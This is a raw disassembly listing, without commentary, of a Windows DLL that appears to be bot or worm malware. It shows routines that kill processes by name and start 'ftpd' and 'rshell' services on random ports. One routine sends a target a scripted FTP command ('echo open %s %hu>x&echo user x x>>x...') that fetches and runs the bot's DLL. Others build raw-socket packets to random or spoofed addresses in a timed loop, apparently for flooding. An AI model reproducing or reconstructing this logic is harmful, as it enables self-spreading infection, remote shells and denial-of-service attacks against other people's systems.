; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_10009861()

sub_10009861	proc near		; DATA XREF: sub_1000984F+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D135
		call	ds:??1Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::~Init(void)
		pop	ebp
		retn
sub_10009861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10009871	proc near		; DATA XREF: .data:1000E050o
		push	ebp
		mov	ebp, esp
		call	sub_10009880
		call	sub_10009890
		pop	ebp
		retn
sub_10009871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10009880	proc near		; CODE XREF: sub_10009871+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D134
		call	ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
		pop	ebp
		retn
sub_10009880	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10009890	proc near		; CODE XREF: sub_10009871+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_100098A2 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_10009890	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_100098A2()

sub_100098A2	proc near		; DATA XREF: sub_10009890+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D134
		call	ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
		pop	ebp
		retn
sub_100098A2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 12Ch
		push	0
		push	2
		call	CreateToolhelp32Snapshot	; CreateToolhelp32Snapshot
		mov	[ebp-12Ch], eax
		cmp	dword ptr [ebp-12Ch], 0FFFFFFFFh
		jz	short loc_10009943
		mov	dword ptr [ebp-128h], 128h
		lea	eax, [ebp-128h]
		push	eax
		mov	ecx, [ebp-12Ch]
		push	ecx
		call	Process32First	; Process32First
		test	eax, eax
		jz	short loc_10009936

loc_100098F4:				; CODE XREF: .text:loc_10009934j
		lea	edx, [ebp-128h]
		push	edx
		mov	eax, [ebp-12Ch]
		push	eax
		call	Process32Next	; Process32Next
		test	eax, eax
		jz	short loc_10009936
		mov	ecx, [ebp+8]
		push	ecx
		lea	edx, [ebp-104h]
		push	edx
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10009934
		mov	eax, [ebp-12Ch]
		push	eax
		call	ds:CloseHandle	; CloseHandle
		mov	al, 1
		jmp	short loc_10009945
; ---------------------------------------------------------------------------

loc_10009934:				; CODE XREF: .text:10009921j
		jmp	short loc_100098F4
; ---------------------------------------------------------------------------

loc_10009936:				; CODE XREF: .text:100098F2j
					; .text:10009909j
		mov	ecx, [ebp-12Ch]
		push	ecx
		call	ds:CloseHandle	; CloseHandle

loc_10009943:				; CODE XREF: .text:100098D1j
		xor	al, al

loc_10009945:				; CODE XREF: .text:10009932j
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10009949(DWORD dwProcessId)

sub_10009949	proc near		; CODE XREF: sub_10007424+18E2p

hObject		= dword	ptr -4
dwProcessId	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+dwProcessId]
		push	eax		; dwProcessId
		push	0		; bInheritHandle
		push	1F0FFFh		; dwDesiredAccess
		call	ds:OpenProcess	; OpenProcess
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0
		jz	short loc_10009989
		push	0		; uExitCode
		mov	ecx, [ebp+hObject]
		push	ecx		; hProcess
		call	ds:TerminateProcess	; TerminateProcess
		test	eax, eax
		jnz	short loc_10009985
		mov	edx, [ebp+hObject]
		push	edx		; hObject
		call	ds:CloseHandle	; CloseHandle
		xor	al, al
		jmp	short loc_1000998B
; ---------------------------------------------------------------------------

loc_10009985:				; CODE XREF: sub_10009949+2Cj
		mov	al, 1
		jmp	short loc_1000998B
; ---------------------------------------------------------------------------

loc_10009989:				; CODE XREF: sub_10009949+1Cj
		xor	al, al

loc_1000998B:				; CODE XREF: sub_10009949+3Aj
					; sub_10009949+3Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_10009949	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000998F(char	*Str2,int)

sub_1000998F	proc near		; CODE XREF: sub_10007424+1845p
					; sub_10007424+1891p

hSnapshot	= dword	ptr -130h
Str1		= PROCESSENTRY32 ptr -12Ch
hObject		= dword	ptr -4
Str2		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	0		; th32ProcessID
		push	2		; dwFlags
		call	CreateToolhelp32Snapshot	; CreateToolhelp32Snapshot
		mov	[ebp+hSnapshot], eax
		cmp	[ebp+hSnapshot], 0FFFFFFFFh
		jz	loc_10009A9C
		mov	[ebp+Str1.dwSize], 128h
		lea	eax, [ebp+Str1]
		push	eax		; lppe
		mov	ecx, [ebp+hSnapshot]
		push	ecx		; hSnapshot
		call	Process32First	; Process32First
		test	eax, eax
		jz	loc_10009A8F

loc_100099D9:				; CODE XREF: sub_1000998F:loc_10009A8Aj
		lea	edx, [ebp+Str1]
		push	edx		; lppe
		mov	eax, [ebp+hSnapshot]
		push	eax		; hSnapshot
		call	Process32Next	; Process32Next
		test	eax, eax
		jz	loc_10009A8F
		mov	ecx, [ebp+Str2]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_10009A45
		mov	eax, [ebp+Str2]
		push	eax		; Str2
		lea	ecx, [ebp+Str1.szExeFile]
		push	ecx		; Str1
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10009A43
		mov	edx, [ebp+Str1.th32ProcessID]
		push	edx		; dwProcessId
		push	0		; bInheritHandle
		push	1F0FFFh		; dwDesiredAccess
		call	ds:OpenProcess	; OpenProcess
		mov	[ebp+hObject], eax
		push	0		; uExitCode
		mov	eax, [ebp+hObject]
		push	eax		; hProcess
		call	ds:TerminateProcess	; TerminateProcess
		mov	ecx, [ebp+hObject]
		push	ecx		; hObject
		call	ds:CloseHandle	; CloseHandle

loc_10009A43:				; CODE XREF: sub_1000998F+85j
		jmp	short loc_10009A8A
; ---------------------------------------------------------------------------

loc_10009A45:				; CODE XREF: sub_1000998F+6Dj
		mov	edx, [ebp+Str1.th32ProcessID]
		push	edx		; th32ProcessID
		push	2		; dwFlags
		call	CreateToolhelp32Snapshot	; CreateToolhelp32Snapshot
		mov	[ebp+hObject], eax
		mov	eax, [ebp+Str1.th32ProcessID]
		push	eax
		lea	ecx, [ebp+Str1.szExeFile]
		push	ecx		; char
		push	offset aSD	; "%s (%d)"
		mov	edx, [ebp+arg_4]
		push	edx		; int
		call	sub_10007303
		add	esp, 10h
		mov	eax, [ebp+hObject]
		push	eax		; hObject
		call	ds:CloseHandle	; CloseHandle
		push	3E8h		; dwMilliseconds
		call	ds:Sleep	; Sleep

loc_10009A8A:				; CODE XREF: sub_1000998F:loc_10009A43j
		jmp	loc_100099D9
; ---------------------------------------------------------------------------

loc_10009A8F:				; CODE XREF: sub_1000998F+44j
					; sub_1000998F+5Fj
		mov	ecx, [ebp+hSnapshot]
		push	ecx		; hObject
		call	ds:CloseHandle	; CloseHandle

loc_10009A9C:				; CODE XREF: sub_1000998F+1Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_1000998F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10009AA0	proc near		; DATA XREF: .data:1000E054o
		push	ebp
		mov	ebp, esp
		call	sub_10009AAF
		call	sub_10009ABF
		pop	ebp
		retn
sub_10009AA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10009AAF	proc near		; CODE XREF: sub_10009AA0+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D13F
		call	ds:??0Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::Init(void)
		pop	ebp
		retn
sub_10009AAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10009ABF	proc near		; CODE XREF: sub_10009AA0+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_10009AD1 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_10009ABF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_10009AD1()

sub_10009AD1	proc near		; DATA XREF: sub_10009ABF+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D13F
		call	ds:??1Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::~Init(void)
		pop	ebp
		retn
sub_10009AD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10009AE1	proc near		; DATA XREF: .data:1000E058o
		push	ebp
		mov	ebp, esp
		call	sub_10009AF0
		call	sub_10009B00
		pop	ebp
		retn
sub_10009AE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10009AF0	proc near		; CODE XREF: sub_10009AE1+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D13E
		call	ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
		pop	ebp
		retn
sub_10009AF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10009B00	proc near		; CODE XREF: sub_10009AE1+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_10009B12 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_10009B00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_10009B12()

sub_10009B12	proc near		; DATA XREF: sub_10009B00+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D13E
		call	ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
		pop	ebp
		retn
sub_10009B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10009B22(char	*Src)

sub_10009B22	proc near		; CODE XREF: sub_10009B22+F6p
					; sub_10009EF0+276p

cp		= byte ptr -20h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], 0FFFFFFFFh
		mov	[ebp+var_10], 0FFFFFFFFh
		lea	eax, [ebp+var_10]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	edx, [ebp+var_8]
		push	edx
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aD_D_D_D_5 ; "%d.%d.%d.%d"
		mov	ecx, [ebp+Src]
		push	ecx		; Src
		call	ds:sscanf	; sscanf
		add	esp, 18h
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_10009B7E
		push	0FFh
		push	0
		call	sub_10004608
		add	esp, 8
		mov	[ebp+var_4], eax

loc_10009B7E:				; CODE XREF: sub_10009B22+48j
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_10009B96
		push	0FFh
		push	0
		call	sub_10004608
		add	esp, 8
		mov	[ebp+var_8], eax

loc_10009B96:				; CODE XREF: sub_10009B22+60j
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_10009BAE
		push	0FFh
		push	0
		call	sub_10004608
		add	esp, 8
		mov	[ebp+var_C], eax

loc_10009BAE:				; CODE XREF: sub_10009B22+78j
		cmp	[ebp+var_10], 0FFFFFFFFh
		jnz	short loc_10009BC6
		push	0FFh
		push	0
		call	sub_10004608
		add	esp, 8
		mov	[ebp+var_10], eax

loc_10009BC6:				; CODE XREF: sub_10009B22+90j
		mov	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		push	offset aD_D_D_D_6 ; "%d.%d.%d.%d"
		push	10h		; Count
		lea	eax, [ebp+cp]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 1Ch
		push	offset Dest	; Str2
		lea	ecx, [ebp+cp]
		push	ecx		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jz	short loc_10009C14
		push	offset byte_1002C5D8 ; Str2
		lea	edx, [ebp+cp]
		push	edx		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10009C22

loc_10009C14:				; CODE XREF: sub_10009B22+DBj
		mov	eax, [ebp+Src]
		push	eax		; Src
		call	sub_10009B22
		add	esp, 4
		jmp	short loc_10009C2C
; ---------------------------------------------------------------------------

loc_10009C22:				; CODE XREF: sub_10009B22+F0j
		lea	ecx, [ebp+cp]
		push	ecx		; cp
		call	ds:inet_addr	; inet_addr

loc_10009C2C:				; CODE XREF: sub_10009B22+FEj
		mov	esp, ebp
		pop	ebp
		retn
sub_10009B22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10009C30	proc near		; CODE XREF: sub_10009EF0+49p

DstBuf		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	offset aFtpd	; "ftpd"
		call	sub_1000A7E9
		add	esp, 4
		test	eax, eax
		jnz	loc_10009CE5
		push	0EA60h
		push	7D0h
		call	sub_10004608
		add	esp, 8
		mov	word ptr [ebp+var_8], ax
		mov	byte ptr [ebp+var_8+2],	0
		push	0Ah		; Radix
		lea	eax, [ebp+DstBuf]
		push	eax		; DstBuf
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFFFh
		push	ecx		; Val
		call	ds:_itoa	; _itoa
		add	esp, 0Ch
		push	eax		; int
		push	offset aFtpd_0	; "ftpd"
		call	sub_1000A752
		add	esp, 8
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_10009C99
		xor	al, al
		jmp	short loc_10009CE7
; ---------------------------------------------------------------------------

loc_10009C99:				; CODE XREF: sub_10009C30+63j
		lea	edx, [ebp+var_C]
		push	edx
		push	offset sub_10005C3D
		call	sub_10004C65
		add	esp, 8
		mov	ecx, [ebp+var_C]
		imul	ecx, 0CCh
		mov	dword_10012EA0[ecx], eax
		mov	edx, [ebp+var_C]
		imul	edx, 0CCh
		cmp	dword_10012EA0[edx], 0
		jnz	short loc_10009CCF
		xor	al, al
		jmp	short loc_10009CE7
; ---------------------------------------------------------------------------

loc_10009CCF:				; CODE XREF: sub_10009C30+99j
					; sub_10009C30+B3j
		mov	eax, [ebp+var_8+2]
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_10009CE5
		push	0Ah		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	short loc_10009CCF
; ---------------------------------------------------------------------------

loc_10009CE5:				; CODE XREF: sub_10009C30+15j
					; sub_10009C30+A9j
		mov	al, 1

loc_10009CE7:				; CODE XREF: sub_10009C30+67j
					; sub_10009C30+9Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_10009C30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10009CEB(int,u_short hostshort)

sub_10009CEB	proc near		; CODE XREF: sub_10003D60+3CEp

Dest		= byte ptr -1424h
s		= dword	ptr -1414h
buf		= byte ptr -1410h
Str		= byte ptr -410h
name		= sockaddr ptr -10h
arg_0		= dword	ptr  8
hostshort	= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1424h
		call	__alloca_probe
		push	0		; protocol
		push	1		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+s], eax
		cmp	[ebp+s], 0FFFFFFFFh
		jnz	short loc_10009D1A
		xor	al, al
		jmp	loc_10009E2C
; ---------------------------------------------------------------------------

loc_10009D1A:				; CODE XREF: sub_10009CEB+26j
		mov	[ebp+name.sa_family], 2
		mov	ax, [ebp+hostshort]
		push	eax		; hostshort
		call	ds:htons	; htons
		mov	word ptr [ebp+name.sa_data], ax
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ebp+name.sa_data+2],	ecx
		push	8		; Size
		push	0		; Val
		lea	edx, [ebp+name.sa_data+6]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	10h		; namelen
		lea	eax, [ebp+name]
		push	eax		; name
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:connect	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_10009D71
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		xor	al, al
		jmp	loc_10009E2C
; ---------------------------------------------------------------------------

loc_10009D71:				; CODE XREF: sub_10009CEB+70j
		push	0		; flags
		push	1000h		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:recv	; recv
		test	eax, eax
		jg	short loc_10009DA4
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		xor	al, al
		jmp	loc_10009E2C
; ---------------------------------------------------------------------------

loc_10009DA4:				; CODE XREF: sub_10009CEB+A3j
		call	sub_10006FA2
		push	eax
		push	offset aS_dll_7	; "%s.dll"
		push	10h		; Count
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		lea	ecx, [ebp+Dest]
		push	ecx
		lea	edx, [ebp+Dest]
		push	edx
		xor	eax, eax
		mov	ax, hostshort
		push	eax
		push	offset Dest
		push	offset aEchoOpenSHuXEc ; "echo open %s %hu>x&echo user x x>>x&ech"...
		push	400h		; Count
		lea	ecx, [ebp+Str]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 1Ch
		push	0		; flags
		lea	edx, [ebp+Str]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	eax, [ebp+Str]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:send	; send
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		mov	al, 1

loc_10009E2C:				; CODE XREF: sub_10009CEB+2Aj
					; sub_10009CEB+81j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_10009CEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10009E30	proc near		; CODE XREF: sub_10009EF0+27Fp

s		= dword	ptr -48h
optval		= byte ptr -44h
var_40		= dword	ptr -40h
to		= sockaddr ptr -3Ch
var_2C		= dword	ptr -2Ch
buf		= byte ptr -28h
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	dword ptr [ebp+optval],	1
		mov	[ebp+var_40], 10h
		push	offset Dest	; cp
		call	ds:inet_addr	; inet_addr
		mov	[ebp+var_2C], eax
		push	0		; protocol
		push	3		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+s], eax
		cmp	[ebp+s], 0FFFFFFFFh
		jnz	short loc_10009E6C
		jmp	loc_10009EEC
; ---------------------------------------------------------------------------

loc_10009E6C:				; CODE XREF: sub_10009E30+35j
		push	4		; optlen
		lea	eax, [ebp+optval]
		push	eax		; optval
		push	2		; optname
		push	0		; level
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:setsockopt	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_10009E87
		jmp	short loc_10009EEC
; ---------------------------------------------------------------------------

loc_10009E87:				; CODE XREF: sub_10009E30+53j
		mov	[ebp+to.sa_family], 2
		mov	word ptr [ebp+to.sa_data], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [ebp+to.sa_data+2], edx
		push	8		; Size
		push	0		; Val
		lea	eax, [ebp+to.sa_data+6]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	cx, [ebp+arg_4]
		push	ecx		; __int16
		mov	dx, word_1002D13C
		push	edx		; hostshort
		mov	eax, [ebp+arg_0]
		push	eax		; int
		mov	ecx, [ebp+var_2C]
		push	ecx		; int
		lea	edx, [ebp+buf]
		push	edx		; int
		call	sub_10006D53
		add	esp, 14h
		push	10h		; tolen
		lea	eax, [ebp+to]
		push	eax		; to
		push	0		; flags
		push	28h		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:sendto	; sendto
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket

loc_10009EEC:				; CODE XREF: sub_10009E30+37j
					; sub_10009E30+55j
		mov	esp, ebp
		pop	ebp
		retn
sub_10009E30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10009EF0	proc near		; DATA XREF: sub_10007424+20CEo

var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
DstBuf		= byte ptr -7Ch
hObject		= dword	ptr -74h
var_70		= word ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
dwMilliseconds	= dword	ptr -64h
var_60		= word ptr -60h
var_5E		= dword	ptr -5Eh
Str2		= byte ptr -5Ah
Src		= byte ptr -1Ah
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ecx, 1Ah
		lea	edi, [ebp+var_68]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_6C], eax
		mov	ecx, [ebp+var_6C]
		mov	byte ptr [ecx+5Fh], 1
		call	ds:GetTickCount	; GetTickCount
		push	eax		; Seed
		call	ds:srand	; srand
		add	esp, 4
		mov	dx, [ebp+var_60]
		mov	[ebp+var_70], dx
		movsx	eax, [ebp+Str2]
		test	eax, eax
		jz	loc_1000A06A
		call	sub_10009C30
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_10009F60
		push	1
		mov	ecx, [ebp+var_68]
		push	ecx
		call	sub_1000AB26
		add	esp, 8
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4

loc_10009F60:				; CODE XREF: sub_10009EF0+55j
		lea	edx, [ebp+Str2]
		push	edx		; Str2
		push	offset aMsdtc	; "msdtc"
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	loc_1000A06A
		push	offset aRshell	; "rshell"
		call	sub_1000A7E9
		add	esp, 4
		test	eax, eax
		jnz	loc_1000A06A
		push	0EA60h
		push	7D0h
		call	sub_10004608
		add	esp, 8
		mov	Val, ax
		mov	byte ptr [ebp+var_80], 0
		push	0Ah		; Radix
		lea	eax, [ebp+DstBuf]
		push	eax		; DstBuf
		xor	ecx, ecx
		mov	cx, Val
		push	ecx		; Val
		call	ds:_itoa	; _itoa
		add	esp, 0Ch
		push	eax		; int
		push	offset aRshell_0 ; "rshell"
		call	sub_1000A752
		add	esp, 8
		mov	[ebp+var_84], eax
		cmp	[ebp+var_84], 0FFFFFFFFh
		jnz	short loc_10009FFC
		push	1
		mov	edx, [ebp+var_84]
		push	edx
		call	sub_1000AB26
		add	esp, 8
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4

loc_10009FFC:				; CODE XREF: sub_10009EF0+EEj
		lea	eax, [ebp+var_84]
		push	eax
		push	offset sub_1000A50C
		call	sub_10004C65
		add	esp, 8
		mov	ecx, [ebp+var_84]
		imul	ecx, 0CCh
		mov	dword_10012EA0[ecx], eax
		mov	edx, [ebp+var_84]
		imul	edx, 0CCh
		cmp	dword_10012EA0[edx], 0
		jnz	short loc_1000A053
		push	1
		mov	eax, [ebp+var_84]
		push	eax
		call	sub_1000AB26
		add	esp, 8
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4

loc_1000A053:				; CODE XREF: sub_10009EF0+145j
					; sub_10009EF0+178j
		mov	ecx, [ebp+var_80]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_1000A06A
		push	0Ah		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	short loc_1000A053
; ---------------------------------------------------------------------------

loc_1000A06A:				; CODE XREF: sub_10009EF0+43j
					; sub_10009EF0+83j ...
		push	0EA60h
		push	7D0h
		call	sub_10004608
		add	esp, 8
		mov	word_1002D13C, ax
		mov	byte ptr [ebp+var_8], 0
		lea	edx, [ebp+var_68]
		push	edx
		push	offset sub_1000A1A9
		call	sub_10004C65
		add	esp, 8
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0
		jnz	short loc_1000A0AB
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4

loc_1000A0AB:				; CODE XREF: sub_10009EF0+1AEj
		mov	eax, [ebp+hObject]
		push	eax		; hObject
		call	ds:CloseHandle	; CloseHandle

loc_1000A0B5:				; CODE XREF: sub_10009EF0+1DAj
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_1000A0CC
		push	0Ah		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	short loc_1000A0B5
; ---------------------------------------------------------------------------

loc_1000A0CC:				; CODE XREF: sub_10009EF0+1D0j
					; sub_10009EF0+291j
		mov	edx, 1
		test	edx, edx
		jz	loc_1000A186
		mov	eax, [ebp+var_5E]
		and	eax, 0FFFFh
		test	eax, eax
		jz	short loc_1000A15D
		mov	ecx, [ebp+var_5E+2]
		and	ecx, 0FFFFh
		test	ecx, ecx
		jz	short loc_1000A106
		push	2
		push	0
		call	sub_10004608
		add	esp, 8
		mov	[ebp+var_88], eax
		jmp	short loc_1000A118
; ---------------------------------------------------------------------------

loc_1000A106:				; CODE XREF: sub_10009EF0+200j
		push	2
		push	0
		call	sub_10004608
		add	esp, 8
		mov	[ebp+var_88], eax

loc_1000A118:				; CODE XREF: sub_10009EF0+214j
		mov	edx, [ebp+var_88]
		mov	[ebp+var_8C], edx
		cmp	[ebp+var_8C], 0
		jz	short loc_1000A141
		cmp	[ebp+var_8C], 1
		jz	short loc_1000A14B
		cmp	[ebp+var_8C], 2
		jz	short loc_1000A155
		jmp	short loc_1000A15D
; ---------------------------------------------------------------------------

loc_1000A141:				; CODE XREF: sub_10009EF0+23Bj
		mov	ax, [ebp+var_60]
		mov	[ebp+var_70], ax
		jmp	short loc_1000A15D
; ---------------------------------------------------------------------------

loc_1000A14B:				; CODE XREF: sub_10009EF0+244j
		mov	cx, word ptr [ebp+var_5E]
		mov	[ebp+var_70], cx
		jmp	short loc_1000A15D
; ---------------------------------------------------------------------------

loc_1000A155:				; CODE XREF: sub_10009EF0+24Dj
		mov	dx, word ptr [ebp+var_5E+2]
		mov	[ebp+var_70], dx

loc_1000A15D:				; CODE XREF: sub_10009EF0+1F3j
					; sub_10009EF0+24Fj ...
		mov	ax, [ebp+var_70]
		push	eax
		lea	ecx, [ebp+Src]
		push	ecx		; Src
		call	sub_10009B22
		add	esp, 4
		push	eax
		call	sub_10009E30
		add	esp, 8
		mov	edx, [ebp+dwMilliseconds]
		push	edx		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	loc_1000A0CC
; ---------------------------------------------------------------------------

loc_1000A186:				; CODE XREF: sub_10009EF0+1E3j
		push	1
		mov	eax, [ebp+var_68]
		push	eax
		call	sub_1000AB26
		add	esp, 8
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
sub_10009EF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000A1A9	proc near		; DATA XREF: sub_10009EF0+19Ao

var_100A0	= word ptr -100A0h
var_1009C	= dword	ptr -1009Ch
var_10098	= dword	ptr -10098h
argp		= dword	ptr -10094h
s		= dword	ptr -10090h
hObject		= dword	ptr -1008Ch
var_10088	= dword	ptr -10088h
in		= in_addr ptr -10084h
var_10080	= dword	ptr -10080h
var_1007C	= byte ptr -1007Ch
var_10074	= dword	ptr -10074h
Str1		= byte ptr -10070h
buf		= byte ptr -10014h
var_10000	= byte ptr -10000h
name		= sockaddr ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 100A0h
		call	__alloca_probe
		push	esi
		push	edi
		mov	[ebp+argp], 1
		mov	esi, [ebp+arg_0]
		mov	ecx, 1Ah
		lea	edi, [ebp+var_1007C]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10080], eax
		mov	ecx, [ebp+var_10080]
		mov	byte ptr [ecx+60h], 1
		push	0		; protocol
		push	3		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+s], eax
		cmp	[ebp+s], 0FFFFFFFFh
		jnz	short loc_1000A20B
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4

loc_1000A20B:				; CODE XREF: sub_1000A1A9+55j
		mov	[ebp+name.sa_family], 2
		mov	word ptr [ebp+name.sa_data], 0
		push	offset Dest	; cp
		call	ds:inet_addr	; inet_addr
		mov	dword ptr [ebp+name.sa_data+2],	eax
		push	8		; Size
		push	0		; Val
		lea	edx, [ebp+name.sa_data+6]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	10h		; namelen
		lea	eax, [ebp+name]
		push	eax		; name
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:bind	; bind
